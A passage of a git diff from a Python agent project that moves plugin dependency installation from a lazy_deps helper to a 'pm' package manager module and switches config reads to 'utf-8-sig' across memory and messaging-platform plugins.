json.loads(profile_path.read_text(encoding="utf-8")) + return json.loads(profile_path.read_text(encoding="utf-8-sig")) except Exception: pass @@ -439,7 +439,7 @@ def _load_config() -> dict: legacy_path = Path.home() / ".hindsight" / "config.json" if legacy_path.exists(): try: - return json.loads(legacy_path.read_text(encoding="utf-8")) + return json.loads(legacy_path.read_text(encoding="utf-8-sig")) except Exception: pass @@ -937,7 +937,7 @@ class HindsightMemoryProvider(MemoryProvider): existing = {} if config_path.exists(): try: - existing = json.loads(config_path.read_text(encoding="utf-8")) + existing = json.loads(config_path.read_text(encoding="utf-8-sig")) except Exception: pass existing.update(values) @@ -981,15 +981,10 @@ class HindsightMemoryProvider(MemoryProvider): provider_config["mode"] = mode env_writes: dict = {} - # Step 2: Install/upgrade deps for selected mode - cloud_dep = f"hindsight-client>={_MIN_CLIENT_VERSION}" - local_dep = "hindsight-all" - if mode == "local_embedded": - deps_to_install = [local_dep] - elif mode == "local_external": - deps_to_install = [cloud_dep] - else: - deps_to_install = [cloud_dep] + # Step 2: Install/upgrade deps for selected mode. local_embedded + # installs hindsight-all itself (protobuf conflict bars it from the + # venv extras; side-venv treatment is planned). + extras_needed = [] if mode == "local_embedded" else ["hindsight"] llm_provider = "" if mode == "local_embedded": @@ -1013,18 +1008,41 @@ class HindsightMemoryProvider(MemoryProvider): provider_config["llm_provider"] = llm_provider print("\n Checking dependencies...") - # Environment-aware install: sealed hosted venvs redirect to the durable - # data-volume target instead of writing to /opt/hermes (NS-605). - from tools.lazy_deps import install_specs + if mode == "local_embedded": + # hindsight-all cannot live in the hermes venv (its protobuf + # floor conflicts with mem0/modal; side-venv treatment is + # planned). Keep the direct install for this mode only. + import subprocess as _sp - outcome = install_specs(deps_to_install, timeout=120) - if outcome.ok: - print(" ✓ Dependencies up to date") - elif outcome.blocked: - print(f" ⚠ Cannot install dependencies: {outcome.reason}") + import pm as _pm + + uv_bin, uv_env = _pm.uv(venv=Path(sys.prefix)) + cmd = ( + [uv_bin, "pip", "install"] + if uv_bin + else [sys.executable, "-m", "pip", "install"] + ) + proc = _sp.run( + [*cmd, "hindsight-all"], + env=uv_env if uv_bin else None, + capture_output=True, + text=True, + timeout=600, + ) + if proc.returncode == 0: + print(" ✓ Dependencies up to date") + else: + print(f" ⚠ Install failed:\n{(proc.stderr or '').strip()[:400]}") + print(" Run manually: uv pip install hindsight-all") else: - print(f" ⚠ Install failed:\n{(outcome.stderr or '').strip()}") - print(f" Run manually: uv pip install --python {sys.executable} {' '.join(deps_to_install)}") + import pm + + try: + pm.sync_venv(extras_needed, explicit=True) + print(" ✓ Dependencies up to date") + except Exception as exc: + print(f" ⚠ Install failed: {exc}") + print(" Run manually: hermes pm install") # Step 3: Mode-specific config if mode == "cloud": @@ -1142,7 +1160,7 @@ class HindsightMemoryProvider(MemoryProvider): materialized_config = dict(provider_config) config_path = Path(hermes_home) / "hindsight" / "config.json" try: - materialized_config = json.loads(config_path.read_text(encoding="utf-8")) + materialized_config = json.loads(config_path.read_text(encoding="utf-8-sig")) except Exception: pass @@ -1241,8 +1259,8 @@ class HindsightMemoryProvider(MemoryProvider): + (f": {reason}" if reason else "") ) try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("memory.hindsight", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("hindsight") except ImportError: pass except Exception as _e: @@ -1608,18 +1626,14 @@ class HindsightMemoryProvider(MemoryProvider): if Version(installed) < Version(_MIN_CLIENT_VERSION): logger.warning("hindsight-client %s is outdated (need >=%s), attempting upgrade...", installed, _MIN_CLIENT_VERSION) - # Environment-aware install: sealed hosted venvs redirect to the - # durable data-volume target instead of /opt/hermes (NS-605). - from tools.lazy_deps import install_specs - outcome = install_specs([f"hindsight-client>={_MIN_CLIENT_VERSION}"], timeout=120) - if outcome.ok: - logger.info("hindsight-client upgraded to >=%s", _MIN_CLIENT_VERSION) - elif outcome.blocked: - logger.warning("Auto-upgrade unavailable: %s. Run: uv pip install 'hindsight-client>=%s'", - outcome.reason, _MIN_CLIENT_VERSION) - else: - logger.warning("Auto-upgrade failed: %s. Run: uv pip install 'hindsight-client>=%s'", - (outcome.stderr or "").strip() or "install error", _MIN_CLIENT_VERSION) + # uv.lock owns the pin; an upgrade is a resync of the extra. + import pm + + try: + pm.sync_venv(["hindsight"]) + logger.info("hindsight-client resynced against uv.lock") + except Exception as exc: + logger.warning("Auto-upgrade unavailable: %s. Run: hermes pm install", exc) except Exception: pass # packaging not available or other issue — proceed anyway diff --git a/plugins/memory/hindsight/plugin.yaml b/plugins/memory/hindsight/plugin.yaml index 9dfa763af7..a72380e54b 100644 --- a/plugins/memory/hindsight/plugin.yaml +++ b/plugins/memory/hindsight/plugin.yaml @@ -1,8 +1,7 @@ name: hindsight version: 1.0.0 description: "Hindsight — long-term memory with knowledge graph, entity resolution, and multi-strategy retrieval." -pip_dependencies: - - "hindsight-client>=0.6.1" +extra: hindsight requires_env: [] hooks: - on_session_end diff --git a/plugins/memory/honcho/cli.py b/plugins/memory/honcho/cli.py index 74822e3722..91b8208b96 100644 --- a/plugins/memory/honcho/cli.py +++ b/plugins/memory/honcho/cli.py @@ -264,7 +264,7 @@ def _read_config() -> dict: path = _config_path() if path.exists(): try: - return json.loads(path.read_text(encoding="utf-8")) + return json.loads(path.read_text(encoding="utf-8-sig")) except Exception: pass return {} @@ -516,20 +516,15 @@ def _ensure_sdk_installed() -> bool: return False print(" Installing honcho-ai...", flush=True) - # Environment-aware install: sealed hosted venvs redirect to the durable - # data-volume target instead of writing to /opt/hermes (NS-605). - from tools.lazy_deps import install_specs + import pm - result = install_specs(["honcho-ai==2.2.0"]) - if result.ok: + try: + pm.sync_venv(["honcho"], explicit=True) print(" Installed.\n") return True - elif result.blocked: - print(f" Cannot install: {result.reason}\n") - return False - else: - print(f" Install failed:\n{(result.stderr or '').strip()}") - print(" Run manually: uv pip install 'honcho-ai==2.2.0'\n") + except Exception as exc: + print(f" Install failed: {exc}") + print(" Run manually: hermes pm install\n") return False @@ -1587,7 +1582,7 @@ def cmd_identity(args) -> None: print(f" File not found: {p}\n") return - content = p.read_text(encoding="utf-8").strip() + content = p.read_text(encoding="utf-8-sig").strip() if not content: print(f" File is empty: {p}\n") return @@ -1767,7 +1762,7 @@ def cmd_migrate(args) -> None: session_key = hcfg.resolve_session_name() mgr.get_or_create(session_key) for f in agent_files: - content = f.read_text(encoding="utf-8").strip() + content = f.read_text(encoding="utf-8-sig").strip() if content: ok = mgr.seed_ai_identity(session_key, content, source=f.name) status = "seeded" if ok else "failed" diff --git a/plugins/memory/honcho/client.py b/plugins/memory/honcho/client.py index 8a2d019ddf..abd79ce13d 100644 --- a/plugins/memory/honcho/client.py +++ b/plugins/memory/honcho/client.py @@ -102,7 +102,7 @@ def resolve_active_host() -> str: try: path = resolve_config_path() if path.exists(): - raw = json.loads(path.read_text(encoding="utf-8")) + raw = json.loads(path.read_text(encoding="utf-8-sig")) default_host = str(raw.get("defaultHost", "")).strip() if default_host: return default_host @@ -552,7 +552,7 @@ class HonchoClientConfig: return cls.from_env(host=resolved_host) try: - raw = json.loads(path.read_text(encoding="utf-8")) + raw = json.loads(path.read_text(encoding="utf-8-sig")) except (json.JSONDecodeError, OSError) as e: logger.warning("Failed to read %s: %s, falling back to env", path, e) return cls.from_env(host=resolved_host) @@ -1004,7 +1004,7 @@ def _credential_fingerprint(config: HonchoClientConfig | None) -> str: # the supported path for background threads). path = resolve_config_path() if path.exists(): - raw = json.loads(path.read_text(encoding="utf-8")) + raw = json.loads(path.read_text(encoding="utf-8-sig")) block = _host_block(raw, resolve_active_host()) oauth_block = block.get("oauth") if isinstance(oauth_block, dict) and oauth_block.get("refreshToken"): @@ -1124,7 +1124,7 @@ def _honcho_json_timeout() -> float | None: timeout = None if mtime_ns != -1: - raw = json.loads(path.read_text(encoding="utf-8")) + raw = json.loads(path.read_text(encoding="utf-8-sig")) host_block = _host_block(raw, resolve_active_host()) timeout = _resolve_optional_float( host_block.get("timeout"), @@ -1255,14 +1255,14 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho: def _build() -> "Honcho": # Lazy dependency failures fall through to the canonical import error. try: - from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure - _lazy_ensure("memory.honcho", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("honcho") except ImportError: - # lazy_deps module missing — fall through to the raw import below. + # pm module missing — fall through to the raw import below. pass except Exception: - # FeatureUnavailable or unexpected error. Don't crash here; let the - # actual import attempt produce the canonical error message. + # Lazy-install failure or unexpected error. Don't crash here; let + # the actual import attempt produce the canonical error message. pass try: diff --git a/plugins/memory/honcho/plugin.yaml b/plugins/memory/honcho/plugin.yaml index 38a0612c97..f8347d6794 100644 --- a/plugins/memory/honcho/plugin.yaml +++ b/plugins/memory/honcho/plugin.yaml @@ -1,7 +1,6 @@ name: honcho version: 1.0.0 description: "Honcho AI-native memory — cross-session user modeling with dialectic Q&A, semantic search, and persistent conclusions." -pip_dependencies: - - honcho-ai +extra: honcho hooks: - on_session_end diff --git a/plugins/memory/mem0/__init__.py b/plugins/memory/mem0/__init__.py index ea871c44cc..c29b0c767b 100644 --- a/plugins/memory/mem0/__init__.py +++ b/plugins/memory/mem0/__init__.py @@ -101,7 +101,7 @@ def _load_config() -> dict: config_path = get_hermes_home() / "mem0.json" if config_path.exists(): try: - file_cfg = json.loads(config_path.read_text(encoding="utf-8")) + file_cfg = json.loads(config_path.read_text(encoding="utf-8-sig")) config.update({k: v for k, v in file_cfg.items() if v is not None and v != ""}) except Exception: @@ -241,7 +241,7 @@ class Mem0MemoryProvider(MemoryProvider): existing = {} if config_path.exists(): try: - existing = json.loads(config_path.read_text(encoding="utf-8")) + existing = json.loads(config_path.read_text(encoding="utf-8-sig")) except Exception: pass existing.update(values) @@ -271,8 +271,8 @@ class Mem0MemoryProvider(MemoryProvider): # target. On failure we fall through so the import inside the backend # produces the canonical error, captured below. try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("memory.mem0", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("mem0") except ImportError: pass except Exception: diff --git a/plugins/memory/mem0/_setup.py b/plugins/memory/mem0/_setup.py index 368aec3417..73d8452b1e 100644 --- a/plugins/memory/mem0/_setup.py +++ b/plugins/memory/mem0/_setup.py @@ -224,7 +224,7 @@ def _save_mem0_json(hermes_home: str, data: dict) -> None: existing = {} if config_path.exists(): try: - existing = json.loads(config_path.read_text(encoding="utf-8")) + existing = json.loads(config_path.read_text(encoding="utf-8-sig")) except Exception: pass existing.update(data) @@ -248,7 +248,7 @@ def _setup_platform(hermes_home: str, config: dict, flags: dict[str, str]) -> No config_path = Path(hermes_home) / "mem0.json" if config_path.exists(): try: - existing_config = json.loads(config_path.read_text(encoding="utf-8")) + existing_config = json.loads(config_path.read_text(encoding="utf-8-sig")) except Exception: pass @@ -369,7 +369,7 @@ def _setup_selfhosted(hermes_home: str, config: dict, flags: dict[str, str]) -> config_path = Path(hermes_home) / "mem0.json" if config_path.exists(): try: - existing_config = json.loads(config_path.read_text(encoding="utf-8")) + existing_config = json.loads(config_path.read_text(encoding="utf-8-sig")) except Exception: pass @@ -853,32 +853,27 @@ def _setup_oss_interactive(hermes_home: str, config: dict) -> None: def _install_provider_deps(llm_id: str, embedder_id: str, vector_id: str) -> None: - """Install all optional pip deps for selected providers.""" + """Point at the pip deps the selected OSS backends need. + + These are third-party backend SDKs (ollama, qdrant-client, ...), not + hermes dependencies — pm does not install arbitrary specs into the + hermes venv. Print the exact command instead.""" deps: set[str] = set() for registry, pid in [(LLM_PROVIDERS, llm_id), (EMBEDDER_PROVIDERS, embedder_id), (VECTOR_PROVIDERS, vector_id)]: dep = registry.get(pid, {}).get("pip_dep") if dep: deps.add(dep) + missing = [] for dep in sorted(deps): - try: - print(f" Installing {dep}...") - # Environment-aware install: sealed hosted venvs redirect to the - # durable data-volume target instead of /opt/hermes (NS-605). - from tools.lazy_deps import install_specs + import importlib.util - outcome = install_specs([dep], timeout=60) - if outcome.ok: - print(f" ✓ Installed {dep}") - elif outcome.blocked: - print(f" Warning: cannot install {dep}: {outcome.reason}") - else: - print(f" Warning: Could not install {dep}. Install manually: uv pip install {dep}") - except Exception: - print(f" Warning: Could not install {dep}. Install manually: uv pip install {dep}") - if deps: - import importlib - importlib.invalidate_caches() + if importlib.util.find_spec(dep.replace("-", "_").split("[")[0]) is None: + missing.append(dep) + if missing: + print("\n The selected backends need extra packages:") + print(f" uv pip install {' '.join(missing)}") + print(" Run that inside the hermes venv, then re-run setup.") def _check_qdrant_path(path: str) -> tuple[bool, str]: diff --git a/plugins/memory/mem0/plugin.yaml b/plugins/memory/mem0/plugin.yaml index c6ae10acca..dc376fa4d3 100644 --- a/plugins/memory/mem0/plugin.yaml +++ b/plugins/memory/mem0/plugin.yaml @@ -1,5 +1,4 @@ name: mem0 version: 1.3.0 description: "Mem0 — server-side LLM fact extraction with semantic search, automatic deduplication, and opt-in reranking (platform mode)." -pip_dependencies: - - mem0ai>=2.0.10,<3 +extra: mem0 diff --git a/plugins/memory/openviking/plugin.yaml b/plugins/memory/openviking/plugin.yaml index 18b8ea7874..a0b66f498f 100644 --- a/plugins/memory/openviking/plugin.yaml +++ b/plugins/memory/openviking/plugin.yaml @@ -1,8 +1,6 @@ name: openviking version: 2.0.0 description: "OpenViking context database — session-managed memory with automatic extraction, tiered retrieval, and filesystem-style knowledge browsing." -pip_dependencies: - - httpx requires_env: [] hooks: - on_session_end diff --git a/plugins/memory/retaindb/plugin.yaml b/plugins/memory/retaindb/plugin.yaml index 5ef0806518..0d0ff73c83 100644 --- a/plugins/memory/retaindb/plugin.yaml +++ b/plugins/memory/retaindb/plugin.yaml @@ -1,7 +1,5 @@ name: retaindb version: 1.0.0 description: "RetainDB — cloud memory API with hybrid search and 7 memory types." -pip_dependencies: - - requests requires_env: - RETAINDB_API_KEY diff --git a/plugins/memory/supermemory/__init__.py b/plugins/memory/supermemory/__init__.py index 5bd968bd61..e7a90b8c6e 100644 --- a/plugins/memory/supermemory/__init__.py +++ b/plugins/memory/supermemory/__init__.py @@ -115,7 +115,7 @@ def _load_supermemory_config(hermes_home: str) -> dict: config_path = Path(hermes_home) / "supermemory.json" if config_path.exists(): try: - raw = json.loads(config_path.read_text(encoding="utf-8")) + raw = json.loads(config_path.read_text(encoding="utf-8-sig")) if isinstance(raw, dict): config.update({k: v for k, v in raw.items() if v is not None}) except Exception: @@ -162,7 +162,7 @@ def _save_supermemory_config(values: dict, hermes_home: str) -> None: existing = {} if config_path.exists(): try: - raw = json.loads(config_path.read_text(encoding="utf-8")) + raw = json.loads(config_path.read_text(encoding="utf-8-sig")) if isinstance(raw, dict): existing = raw except Exception: @@ -286,8 +286,8 @@ class _SupermemoryClient: # fall through so the raw import below produces the canonical # ImportError message. try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("memory.supermemory", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("supermemory") except ImportError: pass except Exception: diff --git a/plugins/memory/supermemory/plugin.yaml b/plugins/memory/supermemory/plugin.yaml index 8100b32136..fb9837b410 100644 --- a/plugins/memory/supermemory/plugin.yaml +++ b/plugins/memory/supermemory/plugin.yaml @@ -1,5 +1,4 @@ name: supermemory version: 1.0.1 description: "Supermemory semantic long-term memory with profile recall, semantic search, explicit memory tools, and session ingest." -pip_dependencies: - - supermemory +extra: supermemory diff --git a/plugins/platforms/dingtalk/adapter.py b/plugins/platforms/dingtalk/adapter.py index fcca09e358..bc1a6dbb72 100644 --- a/plugins/platforms/dingtalk/adapter.py +++ b/plugins/platforms/dingtalk/adapter.py @@ -191,8 +191,8 @@ def ensure_dingtalk_deps() -> bool: if DINGTALK_STREAM_AVAILABLE and HTTPX_AVAILABLE: return True try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("platform.dingtalk", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("dingtalk") except Exception: return False try: diff --git a/plugins/platforms/discord/adapter.py b/plugins/platforms/discord/adapter.py index c01031cf33..ba1278c4db 100644 --- a/plugins/platforms/discord/adapter.py +++ b/plugins/platforms/discord/adapter.py @@ -356,7 +356,7 @@ class _DiscordNonConversationalMessageTracker: if not path.exists(): return [] try: - data = json.loads(path.read_text(encoding="utf-8")) + data = json.loads(path.read_text(encoding="utf-8-sig")) if isinstance(data, list): return [str(message_id) for message_id in data if str(message_id).strip()] except Exception: @@ -493,7 +493,7 @@ def discord_deps_present() -> bool: def check_discord_requirements() -> bool: """Check if Discord dependencies are available. - Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")`` + Lazy-installs discord.py via ``pm.ensure_import("discord")`` on first call if not present. After successful install, re-binds module globals so ``DISCORD_AVAILABLE`` becomes True. """ @@ -501,8 +501,8 @@ def check_discord_requirements() -> bool: if DISCORD_AVAILABLE: return True try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("platform.discord", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("discord") except Exception: return False try: @@ -2228,7 +2228,7 @@ class DiscordAdapter(BasePlatformAdapter): path = self._command_sync_state_path() if not path.exists(): return {} - data = json.loads(path.read_text(encoding="utf-8")) + data = json.loads(path.read_text(encoding="utf-8-sig")) except Exception: return {} return data if isinstance(data, dict) else {} diff --git a/plugins/platforms/matrix/adapter.py b/plugins/platforms/matrix/adapter.py index 3268fd9d19..92076b8223 100644 --- a/plugins/platforms/matrix/adapter.py +++ b/plugins/platforms/matrix/adapter.py @@ -1000,8 +1000,8 @@ def matrix_deps_present() -> bool: and runs from ``create_adapter()`` when this returns False (#79812). """ try: - from tools.lazy_deps import is_available - return is_available("platform.matrix") + from pm import available as is_available + return is_available("matrix") except Exception: # pragma: no cover — defensive return False @@ -1034,22 +1034,20 @@ def ensure_matrix_deps() -> bool: """ACTIVE deps-only installer (registry ``ensure_deps_fn``). Lazy-installs the full ``platform.matrix`` feature group via - ``tools.lazy_deps.ensure_and_bind`` whenever any of the declared + ``pm.extras.ensure_and_bind`` whenever any of the declared packages (mautrix, Markdown, aiosqlite, asyncpg, aiohttp-socks) is missing — not just mautrix itself. Previously this short-circuited on ``import mautrix``, which left the other four packages uninstalled forever and broke E2EE connect with ``No module named 'asyncpg'`` (#31116). Rebinds module-level type globals on success. """ - # Check whether any package in the platform.matrix feature group is - # missing. ``feature_missing`` is cheap (per-spec importlib.metadata - # lookups) and correctly handles ``mautrix[encryption]`` by stripping - # the extras marker before checking the bare package. + # Check every anchor of the matrix extra (mautrix alone is not enough: + # a partial install left asyncpg missing forever, #31116). try: - from tools.lazy_deps import feature_missing, ensure_and_bind - missing = feature_missing("platform.matrix") + from pm.extras import missing as _extra_missing, ensure_and_bind + missing = _extra_missing("matrix") except Exception as exc: # pragma: no cover — defensive - logger.debug("Matrix: lazy_deps lookup failed: %s", exc) + logger.debug("Matrix: extras lookup failed: %s", exc) missing = () ensure_and_bind = None # type: ignore[assignment] @@ -1075,12 +1073,12 @@ def ensure_matrix_deps() -> bool: if ensure_and_bind is None: return False - if not ensure_and_bind("platform.matrix", _import, globals(), prompt=False): + if not ensure_and_bind("matrix", _import, globals()): logger.warning( "Matrix: required packages not installed (%s). " "Run: pip install 'mautrix[encryption]' asyncpg aiosqlite " "Markdown aiohttp-socks", - ", ".join(missing) if missing else "platform.matrix", + ", ".join(missing) if missing else "matrix", ) return False @@ -5323,12 +5321,13 @@ def interactive_setup() -> None: matrix_pkg = "mautrix[encryption]" if want_e2ee else "mautrix" try: - from tools.lazy_deps import ensure as _lazy_ensure, feature_missing - _missing_before = feature_missing("platform.matrix") + from pm import ensure_import as _lazy_ensure + from pm.extras import missing as _extra_missing + _missing_before = _extra_missing("matrix") if _missing_before: print_info(f"Installing {matrix_pkg} (+ {len(_missing_before)} runtime deps)...") try: - _lazy_ensure("platform.matrix", prompt=False) + _lazy_ensure("matrix") print_success(f"{matrix_pkg} installed") except Exception as exc: print_warning( diff --git a/plugins/platforms/photon/adapter.py b/plugins/platforms/photon/adapter.py index 306e279802..aaa1657b3c 100644 --- a/plugins/platforms/photon/adapter.py +++ b/plugins/platforms/photon/adapter.py @@ -158,7 +158,7 @@ def _write_runtime_record(port: int, token: str, pid: int) -> None: def _read_runtime_record() -> Optional[Dict[str, Any]]: try: - raw = json.loads(_runtime_record_path().read_text(encoding="utf-8")) + raw = json.loads(_runtime_record_path().read_text(encoding="utf-8-sig")) except (OSError, ValueError): return None return raw if isinstance(raw, dict) else None @@ -418,16 +418,50 @@ def _is_timeout_error(exc: BaseException) -> bool: return "timeout" in type(exc).__name__.lower() +def _node_command(command: str) -> Optional[str]: + """Resolve a Node toolchain binary (node/npm), pm store first. + + Photon's sidecar is Node/TypeScript, so the gateway runs node/npm on + the host. Resolution goes through ``hermes_constants.find_node_executable`` + — the pm store's pinned node/npm wins whenever it is installed, with + PATH (Windows shim ordering) as the fallback — never a bare PATH + probe, which would miss the managed install (or resolve a system copy + Hermes does not own). Returns None when the binary is nowhere. + """ + try: + from hermes_constants import find_node_executable + + resolved = find_node_executable(command) + if resolved: + return resolved + except Exception: # pragma: no cover — hermes_constants is always present + pass + # pm.ensure wiring: the store's pinned node/npm is the first choice, but + # when it has never been installed, lazily provision it (respecting the + # lazy-install policy — InstallError is swallowed and PATH is tried) so + # the sidecar works on a fresh install without a manual `hermes pm + # install node`. + try: + import pm + + pm.ensure("node") + from hermes_constants import find_node_executable as _fne + + resolved = _fne(command) + if resolved: + return resolved + except Exception: + pass + return shutil.which(command) + + def check_requirements() -> bool: """Return True when both Python deps and the Node sidecar are available.""" if not HTTPX_AVAILABLE: logger.warning("photon: httpx not installed — pip install httpx") return False - if not shutil.which(os.getenv("PHOTON_NODE_BIN") or "node"): - logger.warning( - "photon: node binary '%s' not found on PATH", - os.getenv("PHOTON_NODE_BIN") or "node", - ) + if not _node_command("node"): + logger.warning("photon: node binary not found on PATH or in the pm store") return False if not sidecar_deps_installed(): # spectrum-ts not installed yet, or node_modules/ was partially created @@ -444,7 +478,7 @@ def check_requirements() -> bool: # user has no CLI to run `hermes photon setup`, so the connect path # must self-heal). Otherwise keep returning False so # `hermes setup` / status surface the missing-deps state. - if bool(shutil.which("npm")) and _dir_writable(_sidecar_dir()): + if bool(_node_command("npm")) and _dir_writable(_sidecar_dir()): return True # DEBUG (not WARNING): this is the normal pre-setup state. # check_fn() is called from multiple hot paths in the core @@ -453,7 +487,7 @@ def check_requirements() -> bool: npm_error = "" try: if _npm_error_log().exists(): - npm_error = _npm_error_log().read_text(encoding="utf-8").strip()[:_NPM_ERROR_LOG_MAX_CHARS] + npm_error = _npm_error_log().read_text(encoding="utf-8-sig").strip()[:_NPM_ERROR_LOG_MAX_CHARS] except OSError: pass if npm_error: @@ -499,9 +533,9 @@ def _reinstall_sidecar_deps() -> None: Best-effort — a failure here just leaves the (stale) deps in place and the normal ``_start_sidecar`` readiness check reports the real error. """ - npm = shutil.which("npm") + npm = _node_command("npm") if not npm: - logger.warning("[photon] cannot reinstall stale sidecar deps: npm not on PATH") + logger.warning("[photon] cannot reinstall stale sidecar deps: npm not available (pm store or PATH)") return # Windows: suppress the console flash these short-lived npm runs would # otherwise pop (0 elsewhere). Same helper as the sidecar spawn below. @@ -753,7 +787,7 @@ class PhotonAdapter(BasePlatformAdapter): self._autostart_sidecar = str( os.getenv("PHOTON_SIDECAR_AUTOSTART", "true") ).lower() not in ("0", "false", "no") - self._node_bin = os.getenv("PHOTON_NODE_BIN") or shutil.which("node") or "node" + self._node_bin = _node_command("node") or "node" # Presence watchdog. spectrum-ts only reconnects when its inbound # iterator throws or ends; a half-open ("zombie") gRPC socket makes the @@ -1692,11 +1726,11 @@ class PhotonAdapter(BasePlatformAdapter): creationflags=windows_hide_flags(), ) except FileNotFoundError as exc: - # Deterministic: node isn't on PATH / PHOTON_NODE_BIN points at - # nothing. Retrying can never fix a missing binary (OOF-153). + # Deterministic: node isn't resolvable (pm store or PATH). + # Retrying can never fix a missing binary (OOF-153). raise PhotonSidecarStartupError( f"node binary not found ({self._node_bin!r}) — install Node.js " - f"or set PHOTON_NODE_BIN: {exc}", + f"18+ or run `hermes pm install`: {exc}", code="SIDECAR_NODE_MISSING", retryable=False, ) from exc diff --git a/plugins/platforms/photon/cli.py b/plugins/platforms/photon/cli.py index 1cc19f6e82..2de7d69678 100644 --- a/plugins/platforms/photon/cli.py +++ b/plugins/platforms/photon/cli.py @@ -21,7 +21,6 @@ from __future__ import annotations import argparse import getpass import os -import shutil import subprocess import sys from pathlib import Path @@ -29,7 +28,7 @@ from pathlib import Path from hermes_cli.colors import Colors, color from . import auth as photon_auth -from .adapter import _NPM_ERROR_LOG_MAX_CHARS, sidecar_deps_installed +from .adapter import _NPM_ERROR_LOG_MAX_CHARS, _node_command, sidecar_deps_installed from .sidecar_paths import resolve_sidecar_dir # Writable sidecar runtime dir (mirrors to HERMES_HOME on immutable @@ -385,7 +384,7 @@ def _cmd_status(_args: argparse.Namespace) -> int: # callback is the only sink that sees credential-derived strings, so # cli.py keeps zero taint flow according to CodeQL. photon_auth.print_credential_summary(print) - node_bin = os.getenv("PHOTON_NODE_BIN") or shutil.which("node") + node_bin = _node_command("node") sidecar_installed = sidecar_deps_installed() print(f" node binary : {node_bin or '✗ missing (install Node 18+)'}") print(f" sidecar deps : {'✓ installed' if sidecar_installed else '✗ run `hermes photon install-sidecar`'}") @@ -442,8 +441,8 @@ def _cmd_telemetry(args: argparse.Namespace) -> int: def _install_sidecar() -> int: - npm = shutil.which("npm") or "npm" - if not shutil.which(npm): + npm = _node_command("npm") + if not npm: print( "npm is not on PATH. Install Node.js 18+ (https://nodejs.org/) " "and re-run.", diff --git a/plugins/platforms/photon/plugin.yaml b/plugins/platforms/photon/plugin.yaml index a39193a81b..5a10ee1007 100644 --- a/plugins/platforms/photon/plugin.yaml +++ b/plugins/platforms/photon/plugin.yaml @@ -38,10 +38,6 @@ optional_env: description: "Spawn the Node sidecar on connect (true/false, default true)" prompt: "Auto-start the sidecar?" password: false - - name: PHOTON_NODE_BIN - description: "Path to the node binary (default: shutil.which('node'))" - prompt: "Node executable path" - password: false - name: PHOTON_DASHBOARD_HOST description: "Photon Dashboard API host (default https://app.photon.codes)" prompt: "Dashboard host" diff --git a/plugins/platforms/teams/adapter.py b/plugins/platforms/teams/adapter.py index 88bbf5a184..9a30e2edcb 100644 --- a/plugins/platforms/teams/adapter.py +++ b/plugins/platforms/teams/adapter.py @@ -702,7 +702,7 @@ def check_teams_requirements() -> bool: """Ensure the Teams SDK is importable, lazy-installing it on first use. Lazy-installs ``microsoft-teams-apps`` via - ``tools.lazy_deps.ensure("platform.teams")`` if not present, then rebinds + ``pm.ensure_import("teams")`` if not present, then rebinds all module-level SDK globals on success. Returns True once the SDK (and aiohttp) are importable, False if they couldn't be installed/imported. @@ -763,9 +763,9 @@ def check_teams_requirements() -> bool: "TEAMS_SDK_AVAILABLE": True, } - from tools.lazy_deps import ensure_and_bind + from pm.extras import ensure_and_bind - return ensure_and_bind("platform.teams", _import, globals(), prompt=False) + return ensure_and_bind("teams", _import, globals()) class TeamsAdapter(BasePlatformAdapter): @@ -1500,17 +1500,14 @@ def interactive_setup() -> None: # ── Plugin entry point ──────────────────────────────────────────────────────── def _install_hint() -> str: - """Build the Teams install hint from the canonical LAZY_DEPS pins. + """Build the Teams install hint string. - Derived (not hardcoded) so a pin bump in ``tools/lazy_deps.py`` — aiohttp - is CVE-pinned, so bumps happen — never leaves this string stale. - ``feature_install_command(venv_pip=True)`` targets the actual Hermes - venv in every layout and sidesteps Ubuntu 24.04's PEP 668 failure that - a bare ``pip install`` hint invites. + Prefers ``uv sync --frozen --extra teams`` (respects pyproject pinning); + falls back to a plain pip install of the two packages if that is + unavailable. Restarting the gateway also auto-installs via pm. """ try: - from tools.lazy_deps import feature_install_command - cmd = feature_install_command("platform.teams", venv_pip=True) + cmd = "uv sync --frozen --extra teams" except Exception: # pragma: no cover — defensive cmd = None if not cmd: diff --git a/plugins/platforms/telegram/adapter.py b/plugins/platforms/telegram/adapter.py index a7cd3b5a85..f0208e2484 100644 --- a/plugins/platforms/telegram/adapter.py +++ b/plugins/platforms/telegram/adapter.py @@ -336,7 +336,7 @@ def check_telegram_requirements() -> bool: """Check if Telegram dependencies are available. If python-telegram-bot is missing, attempts to lazy-install it via - ``tools.lazy_deps.ensure("platform.telegram")``. After a successful + ``pm.ensure_import("telegram")``. After a successful install, re-imports the SDK and flips ``TELEGRAM_AVAILABLE`` to True so the adapter's class-level type aliases get rebound. """ @@ -347,8 +347,8 @@ def check_telegram_requirements() -> bool: if TELEGRAM_AVAILABLE: return True try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("platform.telegram", prompt=False) + from pm import ensure_import as _lazy_ensure + _lazy_ensure("telegram") except Exception: return False try: @@ -3896,7 +3896,7 @@ class TelegramAdapter(BasePlatformAdapter): return import yaml as _yaml - with open(config_path, "r", encoding="utf-8") as f: + with open(config_path, "r", encoding="utf-8-sig") as f: config = _yaml.safe_load(f) or {} # Navigate to platforms.telegram.extra.dm_topics, creating the path diff --git a/plugins/platforms/wecom/callback_adapter.py b/plugins/platforms/wecom/callback_adapter.py index dc2d682960..dd0b652e0c 100644 --- a/plugins/platforms/wecom/callback_adapter.py +++ b/plugins/platforms/wecom/callback_adapter.py @@ -97,10 +97,10 @@ def ensure_wecom_callback_requirements() -> bool: return {"ET": _ET, "DEFUSEDXML_AVAILABLE": True} try: - from tools.lazy_deps import ensure_and_bind + from pm.extras import ensure_and_bind except Exception: # pragma: no cover — defensive return False - if not ensure_and_bind("platform.wecom_callback", 